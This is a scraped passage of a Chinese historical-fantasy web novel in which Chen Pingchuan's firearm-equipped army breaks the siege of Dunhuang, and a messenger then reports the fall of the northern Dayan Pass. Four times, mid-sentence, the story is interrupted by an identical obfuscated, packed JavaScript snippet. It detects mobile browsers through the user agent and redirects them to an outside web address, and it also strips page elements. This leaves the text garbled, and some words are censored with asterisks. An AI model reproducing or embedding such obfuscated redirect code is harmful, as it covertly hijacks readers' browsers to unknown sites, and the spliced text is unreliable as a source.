城墙上,祝衡身披染血的甲胄,手中紧握着一杆已经换过好几次**的火铳。 他的脸被硝烟熏得漆黑,嘴唇干裂,眼中布满了血丝,但那挺拔的身姿,却如一杆标枪,死死地钉在城楼之上。 “王爷!东城的墙塌了一角,敌人冲上来了!”一名将领浑身是血地跑来,嘶声喊道。 “阿丽娜!”祝衡没有回头,只是大吼一声。 “我在!”一身戎装的阿丽娜手持弯刀,英姿飒爽地出现在他身边,她的脸上也满是尘土,但那双碧色的眼眸却亮得惊人。 “你带白羚部的勇士去堵住缺口!告诉将士们,援军就快到了,无论如何,也要给我顶住!”祝衡的声音沙哑,却充满了不容置疑的威严。 “放心!”阿丽娜深深地看了他一眼,没有多余的话,转身带着她的族人冲下了城楼。 祝衡举起火铳,瞄准了城下一个正在指挥攻城的吐蕃将领。 “砰!” 一声枪响,那名将领应声倒地。 城下的敌军出现了一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277280|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小小的骚乱,但很快又在其他将领的驱使下,继续疯狂地向上攀爬。 祝衡的心,一点点地往下沉。 姚老将军已经派出去五天了,至今杳无音信。**援军到底会不会来,还能不能来得及。 城中的守军,已经激战了十余天,人人带伤,疲惫到了极点。 箭矢和滚木礌石早已用尽,**也所剩无几,现在几乎是在用人命去填。 他还能守多久?一天?还是半天? 就在祝衡心生绝望之际,城墙的另一端,突然传来一阵欢呼。 “看!那是什么!” 祝衡猛地抬头,顺着士兵们手指的方向望去。 只见在远方的天际,一缕黑色的狼烟,正笔直地升起。 那是……归义军内部约定的通讯信号! 等一下,不对! 祝衡的心脏狂跳起来。这狼烟的样式,和归义军的略有不同,三短一长……这是…… 这是当初陈平川在黑风寨时,与他们约定的,独属于他们之间的信号! 援军! 是陈平川的援军到了! “援军到了!我们的援军到了!”祝衡用尽全身的力气,放声大吼。 他的声音,通过城墙上下的传令兵,瞬间传遍了整个敦煌城。 “援军到了!” “主公的援军到了!” 原本已经几近崩溃的守军,在听到这个消息的瞬间,仿佛被注入了一针强心剂。他们爆发出惊人的力量,怒吼着将爬上城头的敌人再次**下去。 城外,联军的指挥大营里。 吐蕃主将论恐热和回鹘可汗阿咄欲,也看到了那股狼烟。 “怎么回事?那是什么信号?”论恐热皱眉问道。 “看方向,是我们布置在玉门关方向的斥候营地。”阿咄欲脸色有些难看,“难道是那边出了什么事?” “能出什么事?”论恐热不以为意地摆了摆手,“我们五万大军在此,就算大业的皇帝老儿亲征,也得掂量掂量。估计是哪个不长眼的商队闯进来了吧。传令下去,让前线加紧攻城!天黑之前,我一定要在敦煌城里喝酒!” 然而,他话音未落,一名斥候便连滚带爬地冲进了大帐。 第342章 火烧连营惊敌胆,计锁双雄乱阵脚 “大帅!可汗!不好了!我们……我们驻扎在西边山口的骑兵营,被人……被人给端了!” “什么?!”论恐热和阿咄欲同时站了起来,一脸的难以置信。 那可是他们布置在外围的一支足足有三千人的精锐骑兵部队,怎么会无声无息地就被人端了? “是什么人干的?有多少人?”论恐热一把揪住斥候的衣领。 “不……不知道……”斥候吓得魂不附体,“沙尘太大,我们只听到一阵阵打雷一样的声音,然后营地就炸了……弟兄们还没反应过来,就被……就被射杀了大半……对方的骑兵太快了……我们根本看不清……” 打雷一样的声音? 论恐-热和阿咄欲对视一眼,都从对方眼中看到了一丝凝重。 而此时,在距离敦煌城三十里外的一处隐蔽山谷中。 陈平川正站在地图前,听取着秦锋的汇报。 “主公,属下幸不辱命,已将援军的消息送达。并且按照您的吩咐,端掉了敌人在西边山口的骑兵营,斩敌千余,动静已经闹出来了。”秦锋的脸上带着一丝兴奋。 那场夜袭,打得实在是太痛快了。 他们先是让姚北辰带着几个熟悉地形的老兵,摸到敌人营地附近,用“没良心炮”抛射了几轮震天雷,直接把敌人给炸懵了。 然后,秦锋再率领破风骑,借着**的火光和混乱,从侧翼发起冲锋,用火铳进行了一轮覆盖式射击。 整个过程行云流水,敌人几乎没组织起像样的抵抗,就彻底崩溃了。 “干得不错。”陈平川赞许地点了点头,但神情依旧严肃,“不过,这只是开胃菜。我们的动静,肯定已经惊动了敌人的主力。他们现在,一定在调兵遣将,准备对付我们这支援军。” “主公,我们接下来怎么办?是直接杀过去,和城里的祝王爷里应外合吗?”王奎问道。 “不。”陈平川摇了摇头,手指在地图上一点,“现在冲过去,正中敌人下怀。他们巴不得我们和他们打一场硬碰硬的决战。我们兵力不占优势,而且长途跋涉,人困马乏,硬拼是下策。” “那您的意思是?”郭仲达问道。 陈平川的嘴角,勾起一抹熟悉的,让敌人胆寒的笑容。 “他们不是有两个主帅,两支军队吗?” “既然他们想跟我们玩,那我们就陪他们好好玩玩。” 他抬起头,目光扫过众将:“我要让他们首尾不能相顾,让他们互相猜忌,让他们疲于奔命,最后,再一口一口,把他们全部吃掉!” 他的手指,在地图上划过一道凌厉的弧线,最终停留在吐蕃大军的营地位置。 “第一步,就从这里开始!” …… 夜,深沉如墨。 戈壁滩上的风,带着刺骨的寒意,呼啸着卷过大地。 吐蕃联军的大营里,一片肃杀。 白天的攻城战并不顺利,虽然消耗了守军大量的有生力量,但那座看似摇摇欲坠的敦煌城,却始终坚挺。 更让他们心烦意乱的,是那支突然出现的,战法诡异的汉人援军。 主帅大帐内,论恐热和阿咄欲正对着地图,激烈地争吵着。 “我认为,我们应该分出一半的兵力,主动出击,先去剿灭那支汉人援军!他们人数不多,最多万余人,只要我们动作够快,完全可以在他们站稳脚跟前,将他们彻底击溃!”论恐热用力地拍着桌子,唾沫横飞。 “不行!”阿咄欲立刻反对,“你疯了吗?分兵一半?那敦煌城怎么办?万一城里的守军趁机杀出来,我们腹背受敌,岂不是要全线崩溃?再说了,那支援军的战力你也看到了,来去如风,还用着那种会打雷的妖法火器,根本不是那么好对付的!” 阿咄欲心里的小算盘打得噼啪响。他觉得,那支援军明显是冲着吐蕃人去的,夜袭的也是吐蕃人的营地。他巴不得吐蕃人去和那支援军死磕,自己好坐收渔利。 “你这是胆小鬼的说法!”论恐热被戳到了痛处,勃然大怒,“我们吐蕃的勇士,什么时候怕过汉人?你要是不敢去,我自己带人去!” “去就去!谁怕谁!” 两个主帅吵得不可开交,下面的将领们也分成了两派,互相指责,整个指挥系统乱成了一锅粥。 他们谁都没有注意到,在大营最外围的黑暗中,数十道黑色的身影,如同鬼魅一般,悄无声息地潜入了进来。 正是陈平川派出的“暗影六子”。 为首的阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281837|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魅做了一个手势,众人立刻分散开来,各自扑向预定的目标。 他们的目标不是**,而是制造混乱。 马厩、粮草堆、甚至是吐蕃人的帅帐附近,都被他们悄悄地埋下了特制的引火物和小型震天雷。 一切准备就绪后,阿魅来到一处高地,取出一支小巧的信号火箭,对准了天空。 “咻——” 一道微不可闻的尖啸声划破夜空。 山谷中,早已等候多时的陈平川看到了信号,嘴角露出一丝冷笑。 “好戏,开场了。” 与此同时,十几里外的吐蕃大营内。 “轰!” “轰隆!” 一连串剧烈的**声,毫无征兆地在营地各处响起! 火光冲天而起,瞬间照亮了半个夜空。堆积如山的粮草被点燃,发出噼里啪啦的爆响,火舌借着风势,迅速向四周蔓延。马厩里的战马受到惊吓,挣断了缰绳,嘶鸣着四处狂奔,将整个营地搅得人仰马翻。 “走水了!” “敌袭!敌袭!” 睡梦中的吐蕃士兵惊慌失措地从营帐里冲出来,看到眼前这片火海,全都傻了眼。 “快救火!快救火啊!” “我的马!我的马呢!” 整个吐蕃大营,瞬间陷入了末日般的混乱之中。 论恐热和阿咄欲正在帐中争吵,被这突如其来的**吓了一跳,连忙冲出帐外,看到眼前的景象,论恐热的眼睛瞬间就红了。 “是那支援军!一定是他们干的!”他怒吼着,拔出弯刀,“传我命令!所有骑兵,立刻集合!跟我出营,杀了他们!” 他已经被愤怒冲昏了头脑,一心只想找到那支可恶的汉人援军,将他们**万段。 “大帅,不可啊!营中大乱,此时出击,恐中埋伏!”有部将试图劝阻。 “滚开!”论恐-热一脚将他踹开,“谁敢再言后退,杀无赦!” 数千名吐蕃骑兵在将领的呵斥下,好不容易才集结起来,跟着状若疯魔的论恐热,冲出了火光熊熊的大营,向着**声传来的方向追去。 他们没有发现,在他们冲出营地的那一刻,远处的黑暗中,一双冷静的眼睛,正透过望远镜,清晰地捕捉到了他们的一举一动。 第343章 怒骑踏阵寻死路,惊雷火铳做归途 “鱼儿,上钩了。” 陈平川放下了望远镜,脸上露出了猎人般的笑容。 “传令下去。” “火铳营,准备!” “震天雷,准备!” “告诉弟兄们,把咱们从江徽府带来的好东西,都给吐蕃的朋友们尝尝!” 在他身前方的开阔地上,一个由数百颗绊发式**组成的死亡陷阱,已经静静地等待了许久。 这片区域,经过郭仲达的精心计算,是敌人追击的必经之路。 而陷阱的尽头,一千名火铳营的士兵,已经排成了三段式的射击阵型,黑洞洞的枪口,如同死神的眼睛,无声地凝视着前方。 风,越来越冷了。 一场单方面的**,即将在黎明前的黑暗中,拉开帷幕。 论恐热率领着数千骑兵,在夜色中狂奔。 身后的营地火光冲天,喊杀声和惨叫声交织在一起,让他心如刀绞,同时也让他心中的怒火燃烧到了顶点。 他发誓,一定要找到那支该死的汉人军队,用他们的鲜血来洗刷这份耻辱! “快!再快一点!他们跑不远!”论恐热挥舞着马鞭,疯狂地催促着坐下的战马。 骑兵队伍拉成一条长线,一头扎进了前方那片看似平坦的戈壁。 就在先头的骑兵踏入某片区域的瞬间,异变陡生! “轰!轰!轰!轰!” 一连串惊天动地的**,毫无征兆地在骑兵队伍的脚下炸响! 地面剧烈地颤抖,无数的泥土、碎石和破碎的铁片,被狂暴的气浪卷上天空,形成了一道道致命的死亡风暴。 冲在最前面的数百名吐蕃骑兵,连惨叫声都来不及发出,就瞬间被炸得人仰马翻,血肉横飞。 战马的悲鸣声,士兵的哀嚎声,在**的轰鸣中显得如此微不足道。 这突如其来的打击,让整个吐蕃骑兵队伍瞬间陷入了巨大的混乱和恐惧之中。 “是……是天神发怒了!” “是地龙翻身了!” 这些从未见过**威力的吐蕃士兵,彻底被这种超乎他们理解范畴的力量吓破了胆。他们以为自己触怒了神灵,遭到了天谴,一个个吓得魂不附体,纷纷勒住战马,不敢再向前一步。 “不准退!不准退!”论恐热目眦欲裂,他虽然也被这恐怖的景象惊得心胆俱裂,但他毕竟是主将,强行压下心中的恐惧,挥刀砍翻了两个试图后退的士兵,嘶声力竭地吼道,“是汉人的妖法!不是天神!冲过去!冲过去就没事了!” 然而,他的话音未落,前方黑暗中,突然亮起了数百个细小的火点。 那是什么? 就在所有吐蕃骑兵脑中闪过这个念头的时候,一阵前所未有的,如同暴雨倾盆般的雷鸣,骤然响起! “砰砰砰砰砰砰!” 一千名火铳营士兵,在各自队官的口令下,冷静地完成了三段式射击。 密集的弹丸,带着死亡的呼啸,如同一张无形的巨网,瞬间笼罩了前方拥挤不堪的吐蕃骑兵。 “噗!噗!噗!” **穿透皮甲、射入肉体的声音不绝于耳。 冲在前面的吐蕃骑兵,如同被割倒的麦子一般,成片成片地倒下。他们身上的皮甲,在火铳**面前,脆弱得如同纸片。无论是人还是马,只要被击中,身上就会爆开一个血洞,瞬间失去所有力气。 这完全是一场残酷而高效的**。 吐蕃人引以为傲的骑术和悍勇,在绝对的火力面前,变得一文不值。 他们甚至连敌人的脸都看不清,就已经被射杀在冲锋的路上。 “魔鬼!他们是魔鬼!” 幸存的吐蕃骑兵心理防线彻底崩溃了。他们扔掉手中的武器,不顾一切地调转马头,只想逃离这片如同地狱一般的屠场。 后队变前队,前队变后队,数千骑兵互相拥挤,互相践踏,彻底乱成了一锅粥。 “射击!” “装填!” “射击!” 火铳营的士兵们,如同没有感情的机器,机械地重复着装弹、瞄准、射击的动作。 每一轮枪响,都会带走数十上百条鲜活的生命。 论恐热彻底呆住了。他看着自己的精锐骑兵,在对方那恐怖的火器面前,毫无还手之力地被**,一股冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281809|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的寒意,从脚底直冲天灵盖。 这是什么军队?这是什么武器? 他戎马一生,从未见过如此可怕的景象。 “撤……撤退!快撤退!”他终于从震惊中反应过来,用颤抖的声音下达了撤退的命令。 然而,现在想撤,已经晚了。 就在他们试图掉头逃跑的时候,左右两侧的黑暗中,突然又响起了喊杀声。 王奎和林勇,各率领五千步兵,如同两把锋利的钳子,从两翼包抄了上来。 “杀!” 破虏军的士兵们士气如虹,他们排着整齐的队列,手中的**如林,一步步地向前推进,无情地收割着那些已经丧失斗志的溃兵。 论恐热的骑兵部队,被彻底包围了。 “怎么会……这样……”论恐-热看着眼前这幅景象,面如死灰。 他知道,自己败了,败得一塌糊涂。 他想不明白,为什么同样是汉人的军队,一年前还被他们追着打的归义军,和眼前这支军队,简直判若云泥。 “将军!我们掩护你,快突围吧!”几名忠心耿耿的亲卫,护着他向包围圈的薄弱处冲去。 陈平川在后方的山坡上,透过望远镜,冷冷地看着这一切。 “想跑?” 他嘴角勾起一抹冷酷的弧度,对身边的秦锋说道:“那个穿金甲的,是他们的主将。别让他跑了。” 秦锋点了点头,没有说话,只是默默地拉开了手里的长弓。 弓开如满月,一支特制的狼牙箭搭在弦上。夜色、乱军、数百步的距离,还有马上颠簸的目标,无数不利的因素,在他眼中却仿佛不存在。他甚至没有瞄准太久,在论恐热纵马转向的一瞬间,便松开了弓弦。那一箭,如流星划破夜空,带着死神的呼啸,跨越了漫长的距离。 但数百步之外,正在纵马狂奔的论恐热,身体猛地一僵,胸**开一朵巨大的血花。 他低下头,不可置信地看着自己胸口,然后一头从马上栽了下来。 吐蕃主将,论恐热,当场毙命。 论恐热的倒下,成为了压垮骆驼的最后一根稻草。 第344章 箭破金甲敌胆丧,旗倒帅降天下惊 “大帅**!” “大帅被汉人的妖术杀**!” 亲眼目睹主将被一枪狙杀的亲卫们,发出了绝望的尖叫。 这个消息迅速在溃散的吐蕃败兵中蔓延开来。 群龙无首,加上被死亡的恐惧彻底支配,吐蕃士兵们再也组织不起任何有效的抵抗。 他们扔掉武器,跪地求饶,或者像没头苍蝇一样四处乱窜,然后被破虏军的士兵无情地斩杀。 这一战,从开始到结束,不过一个时辰。 陈平川以极小的代价,全歼了论恐热率领的近万吐蕃精锐。 当黎明的曙光,第一次洒向这片修罗场般的戈壁时,回鹘可汗阿咄欲才终于得到了消息。 “什么?论恐热全军覆没了?他自己也**了?” 阿咄欲手里的酒杯“当啷”一声掉在地上,摔得粉碎。他脸上的血色瞬间褪尽,一片惨白。 他怎么也想不通,一个时辰前还跟他拍着桌子叫嚣的论恐热,和他麾下那支纵横草原的精锐骑兵,怎么就这么没了? 这简直比神话故事还要离奇。 “那支汉人援军……到底是什么来头?”阿咄欲的声音都在发抖。 恐惧,如同冰冷的毒蛇,缠住了他的心脏。 他立刻想到了撤退。和这样一支如同魔鬼般的军队作战,他没有丝毫胜算。 然而,他想走,陈平川却不打算给他这个机会。 “传令秦锋!”陈平川看着远处已经乱起来的回鹘大营,冷冷地说道,“率领你的破风骑,给我像狼一样咬上去!不要和他们硬拼,就骚扰他们,拖住他们撤退的脚步!” “传令王奎、林勇,全军出击,目标,回鹘大营!” “告诉弟兄们,一鼓作气,彻底解决他们!” “是!” 将令传下,刚刚结束了一场大战的破虏军,没有丝毫休整,立刻重整队列,向着十几里外的回鹘大营发起了冲锋。 秦锋的破风骑,更是如同鬼魅一般,绕到了回鹘大营的后方,对着他们正在收拾行装准备跑路的后勤部队,就是一顿火铳齐射。 “砰砰砰!” **再次响起,正在慌乱打包的回鹘人顿时人仰马翻。 阿咄欲听到后方传来的**和惨叫声,心胆俱裂。 “他们追上来了!他们追上来了!” “快!快组织防御!顶住!给我顶住!” 然而,回鹘人的士气,早在听闻吐蕃人全军覆没的那一刻,就已经跌入了谷底。他们本就是被阿咄欲强行裹挟而来,根本没有什么战心。此刻面对传说中能召唤天雷的“魔鬼军团”,更是吓得两腿发软,哪里还组织得起有效的防御。 整个回鹘大营,比之前的吐蕃大营还要混乱。 当王奎和林勇率领的步兵主力,排着整齐的阵列,如同一堵无法逾越的墙壁,一步步压上来的时候,回鹘人的心理防线彻底崩溃了。 他们开始大规模地溃逃。 “别打了!我投降!我投降!” “饶命啊!我们也是被逼的!” 兵败如山倒。 秦锋看准时机,率领破风骑,如同一柄烧红的尖刀,精准地从侧翼插入,直扑阿咄欲的中军王帐。 阿咄欲还在声嘶力竭地试图组织抵抗,冷不防一支黑色的箭矢,带着凄厉的破空声,“咄”的一声,正中他身前帅旗的旗杆! 巨大的力道,让旗杆从中折断,那面象征着回鹘可汗权威的狼头大旗,歪歪斜斜地倒了下去。 阿咄欲吓得一哆嗦,抬头望去,只见一名身穿黑色劲装的年轻将领,正骑在马上,缓缓放下了手中的长弓,冷冷地看着他。 正是秦锋。 他没有射杀阿咄欲,而是射断了他的帅旗。 这一箭,不仅是警告,更是诛心! 周围的亲卫看到帅旗倒下,更是吓得魂飞魄散,纷纷扔下武器,跪倒在地。 大势已去。 阿咄欲脸上最后一丝血色也消失了,他惨然一笑,扔掉了手中的弯刀,颓然地坐在了地上。 他知道,自己输了。 秦锋率领骑兵上前,将阿咄欲及其一众亲卫将领,全部生擒活捉。 至此,围困敦煌的回鹘、吐蕃五万联军,在陈平川大军抵达后的短短一天之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288499|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内,土崩瓦解。 消息传开,整个河西走廊为之震动。 那些原本已经投靠了回鹘和吐蕃,准备瓜分归义军地盘的小部落,吓得连夜派出使者,带着最丰厚的礼物,赶往敦煌,向这位新崛起的主宰者表示臣服。 而远在青海的吐蕃王庭,在得知论恐热全军覆没,连脑袋都被人送回来的消息后,更是掀起了轩然大波。 论恐热的政敌们,趁机发难,他们非但没有想着为论恐热报仇,反而认为是他咎由自取,破坏了与汉人之间的和平。他们斩杀了论恐热的家人,然后派出了最高规格的使团,带着牛羊和美女,卑躬屈膝地向陈平川求和,表示愿意永世修好,再不踏入河西走廊一步。 陈平川的威名,经此一战,彻底响彻西域。 “陈”字帅旗,成为了这片土地上,新的图腾。 当陈平川率领着得胜之师,押解着俘虏,浩浩荡荡地开向敦煌城时。 那座饱经战火洗礼的古老城池,城门大开。 一个熟悉的身影,正站在城门下,静静地等待着他。 当陈平川的身影出现在地平线上时,敦煌城头爆发出雷鸣般的欢呼。 “主公来了!” “我们得救了!” 守城的将士们,无论是归义军的老兵,还是白羚部的族人,全都扔掉了手中的武器,振臂高呼。 许多人喜极而泣,相互拥抱着,宣泄着劫后余生的激动。 祝衡站在城门下,望着那面熟悉的、在风中猎猎作响的“陈”字大旗,眼眶不知不觉间湿润了。 他身后的阿丽娜,也一脸激动地看着那支如同天神下凡般,在短短一天之内就击溃了五万敌军的雄师。 她的族人得救了,她的家园保住了,而这一切,都拜那个男人所赐。 大军在城外停下,陈平川翻身下马,独自一人,向着城门走去。 他走得很慢,目光扫过城墙上那些残破的箭垛,扫过城门下那些无法清理干净的暗红色血迹,心中百感交集。 他能想象,在自己到来之前,这座孤城经历了何等惨烈的血战。 第345章 西域方奏凯旋曲,北境已闻泣血歌 祝衡也迎了上来。 一年多不见,他变了。 不再是那个初到西域时,带着几分消沉和迷茫的落魄王爷。他的皮肤被风沙吹得黝黑粗糙,眼神却变得像鹰隼一样锐利,身上那股属于皇室的雍容,被一种沙场宿将特有的铁血煞气所取代。 他更像一个真正的王,一个用自己的肩膀,扛起数万人生死的领袖。 两人相距十步,停下了脚步,静静地对视着。 千言万语,都汇聚在彼此的眼神之中。 有重逢的喜悦,有并肩作战的情谊,更有对往昔岁月的无限感慨。 “你小子,总算来了。”祝衡率先开口,声音有些沙哑,脸上却露出了久违的笑容,“再晚来半天,你就只能来给我收尸了。” 陈平川也笑了,走上前,伸出双臂:“王爷你这条命金贵着呢,阎王爷可不敢收。再说了,你闺女还没嫁过去呢,你这当爹的,怎么也得活着看到那天吧?” 祝衡愣了一下,随即哈哈大笑起来,笑声中带着一丝释然和暖意。他也张开双臂,与陈平川结结实实拥抱在一起。 “平川!欢迎回家!” “嗯,我回来了。”陈平川也用力地拍了拍他的后背。 两个男人,没有再多说什么,但彼此都感受到了对方心中那份沉甸甸的情义。 “走,进城!我给你准备了庆功宴!”祝衡拉着陈平川的手,就要往城里走。 “等等。”陈平川拉住了他,回头看了一眼身后的大军,又看了看城墙上那些衣衫褴褛、面带期盼的守军,正色道,“庆功宴不急。先让我的军医入城,救治伤员。另外,把缴获的牛羊和粮草,分发下去,让将士们和城里的百姓,先吃上一顿饱饭。” 祝衡闻言,重重地点了点头,眼中满是赞许和感动。 这就是陈平川。无论何时何地,他首先想到的,永远是麾下的士兵和治下的百姓。 很快,陈平川的命令便被执行下去。 大批的军医带着药品涌入城中,在城内设立了临时的救护所。堆积如山的牛羊被宰杀,一口口大锅被架起,浓郁的肉香很快便飘满了整个敦煌城。 那些已经吃了十几天干饼和野菜汤的军民们,看到大块的羊肉和白花花的米饭,眼泪都流了下来。他们狼吞虎咽地吃着,仿佛要把这些天的饥饿全都补回来。 整个敦煌城,都沉浸在一片欢乐的海洋之中。 当晚,一场盛大的庆功宴,在修葺一新的将军府内举行。 陈平川、祝衡、阿丽娜,以及双方的主要将领,齐聚一堂。 酒过三巡,菜过五味。 祝衡端起酒碗,站起身,目光扫过在场的每一个人,最终落在陈平川身上。 “平川,还记得吗?”他感慨万千地说道,“一年多前,我们刚到敦煌的时候,你对我说,中原……已经回不去了。那时候,我心如死灰,觉得这辈子也就这样了。” 陈平川默然,他当然记得。那时候的祝衡,就是一个失去了国家和亲人的丧家之犬。 “可是今天,”祝衡的声音陡然拔高,眼中闪烁着兴奋的光芒,“你带着一支无敌的雄师,从东方而来,一天之内,就扫平了我们看来无法战胜的敌人!你让我看到了希望!看到了我们汉家儿郎,在这片土地上,重新站起来的希望!” 他举起酒碗,对着陈平川,一字一句地说道: “当年你说,中原回不去了。但是现在,我想说,我们不但要回去,而且要堂堂正正地,从这西域,一路打回去!光复河山,重归大业!” 他的话,如同一颗火星,瞬间点燃了在场所有归义军将领心中的火焰。 “打回去!光复河山!” “打回去!重归大业!” 姚北辰等一众老将,更是激动得老泪纵横,跟着振臂高呼。 陈平川看着眼前这群情激奋的一幕,心中也是豪情万丈。 他站起身,端起酒碗,与祝衡重重一碰。 “好!那我们就从这西域,打回中原去!” “干!” “干!” 两人一饮而尽,摔碗于地。 清脆的碎裂声,仿佛是他们吹响的,反攻的号角。 宴会的气氛,达到了最高潮。 然而,就在所有人都沉浸在胜利的喜悦和对未来的憧憬中时,一条信息的到来,却给这片欢乐的气氛,蒙上了一层阴影。 一名风尘仆仆、形容枯槁的信使,在亲兵的带领下,闯进了宴会大厅。 “报——!天算网紧急军情!” “北境,大雁关……破了!” “蒙天放将军……殉国了!” 喧闹的大厅,瞬间死一般的寂静。 所有人的笑容,都僵在了脸上。 信使带来的消息,如同一盆冰水,兜头浇在了所有人的热情之上。 大厅里死一般的寂静。 北境?大雁关? 陈平川的脑子飞速运转。 这个被他视为北境长城的男人,竟然殉国了?大雁关也破了? 这意味着什么? 这意味着,中原的北大门,已经向草原蛮族,彻底敞开了! “怎么回事?到底怎么回事?”祝衡第一个反应过来,他冲上前,一把扶起那名信使,“大雁关何等坚固,蒙将军麾下更有五万玄甲军,怎么会说破就破?” 他曾经与蒙天放有过一面之缘,两人英雄相惜。 此人是前朝名将蒙毅的后人,将门虎子,镇守大雁关已有十年之久,为人忠勇,治军严明,是朝中为数不多的,真正有能力、有担当的将领。 蒙天放也从来不把梁党放在眼里,数次顶撞梁越,梁越气得咬牙切齿,却也拿他无可奈何。 如今,这位爱国将领为了保家卫国,以身殉国! 那信使断断续续地讲述了那场惨烈的大战。 “是……是草原的王,塔尔罕的儿子,一个叫……叫阿保机的小子,他率领近二十万大军,围攻大雁关……” 塔尔罕的儿子? 陈平川心中一动。他想起了当初在顺城,被他用计谋击败,最后狼狈逃走的黑狼部首领塔尔罕。 没想到,他的儿子竟然青出于蓝而胜于蓝,果然虎父无犬子! “蒙将军率领五万玄甲军,死守大雁关。那一战,打得是天昏地暗,血流成河……” “最后他们守了一个多月,城里的箭矢用光了,就用石头砸。滚木用完了,就把房梁拆了往下扔。到最后,连吃的都没了,我们就杀战马,吃树皮,啃草根……” “可是,援军……始终没有来。” 第346章 将军百战身名裂,血书一封托江山 信使说到这里,声音里充满了无尽的悲凉和愤恨。 “京城的那些大官,那些梁家的走狗,他们巴不得蒙将军死!巴不得玄甲军全军覆没!他们根本不管北境的死活,不管中原百姓的死活!” 大厅内,所有人都沉默了。 归义军的将领们感同身受。他们被朝廷遗忘在西域上百年,对这种被抛弃的滋味,再熟悉不过了。 “城破的那天,蛮族的军队像潮水一样涌进来。蒙将军……他知道大势已去,把还能动的伤兵和亲卫召集起来,分头突围……让他们去投靠主公您!” “他说,如今天下,只有您才有可能拯救中原的百姓了。” “然后,他就带着剩下还能站起来的几百个弟兄,穿上他最珍爱的那副血甲,发起了最后的冲锋……” 信使从怀中,颤颤巍巍地掏出一封被鲜血浸透,已经变得僵硬的信,双手举过头顶。 “这是……这是蒙将军给您的,最后一封信。” 石头走上前,默默地接过那封信,转身呈给了陈平川。 陈平川的手,有些发沉。 他缓缓展开那封信。 信纸上,没有长篇大论,没有悲愤交加的控诉,只有几个用血写成的,已经凝固成黑褐色的大字,字迹潦草,却力透纸背。 “社稷倾颓,望公拯救中原百姓。” 轰! 这几个字,像一块巨石,重重地砸在陈平川的心上。 他仿佛能看到,一个浑身浴血的将军,在城破的最后时刻,用尽最后一丝力气,写下这封绝笔信,将整个中原的安危,将百万百姓的希望,沉甸甸地,托付给了他这个素未谋面的“敌人”。 这已经不是一封信了。 这是一个英雄临终前的嘱托,是一个民族在危亡之际,发出的最后一声呐喊。 陈平川的眼眶,瞬间就红了。 他可以不在乎那个腐朽的大业朝廷,可以不在乎梁家那帮国贼,但他不能不在乎这片土地,不能不在乎这片土地上,与他同文同种,血脉相连的百姓! “将军……后来怎么样了?”陈平川的声音,沙哑得厉害。 信使抬起头,泪水混合着脸上的污垢,流下两道清晰的泪痕。 “将军他……他被俘了。” 听到这个消息,大厅内响起一阵低低的惊呼。 “被俘了?” 以蒙天放那般刚烈的性子,怎么会束手就擒? 信使似乎看出了众人的疑惑,咬着牙,一字一顿地说道:“将军……是为了给我们争取突围的时间!” 时间回到大雁关即将城破的时候…… 此时,大雁关已成一片火海,残破的城墙上,插满了蛮族的狼头旗。 城内,最后的巷战已经接近尾声。 蒙天放身披那副早已被鲜血染成暗红色的玄甲,手中紧握着一杆已经折断的长枪,身上下,布满了深可见骨的伤口。他的身后,只剩下不到百名同样浑身浴血的玄甲军士兵。 他们被数千名蛮族精锐,团团包围在一处残破的校场上。 蛮族大军分开一条道路,一个身材高大,穿着华丽皮裘的年轻蛮族将领,在众人的簇拥下,骑着一匹神骏的白马,缓缓走了出来。 他就是塔尔罕的儿子,新一代的草原雄主,阿保机。 阿保机的脸上带着胜利者的傲慢,他居高临下地看着那个如同血人一般的汉人将军,用生硬的汉话说道:“蒙天放,你确实是个英雄。你的玄甲军,也是我见过最顽强的勇士。本王爱才,只要你现在跪下,向我效忠,我不仅可以饶你不死,还可以封你为王,让你继续统领你的部下,随我一同南下,征服整个中原。届时,金钱、美女、土地,你想要什么,就有什么。” 他以为,这样的条件,没有人能够拒绝。 然而,蒙天放只是抬起头,用那双因为失血过多而显得有些涣散的眼睛,轻蔑地看了他一眼。 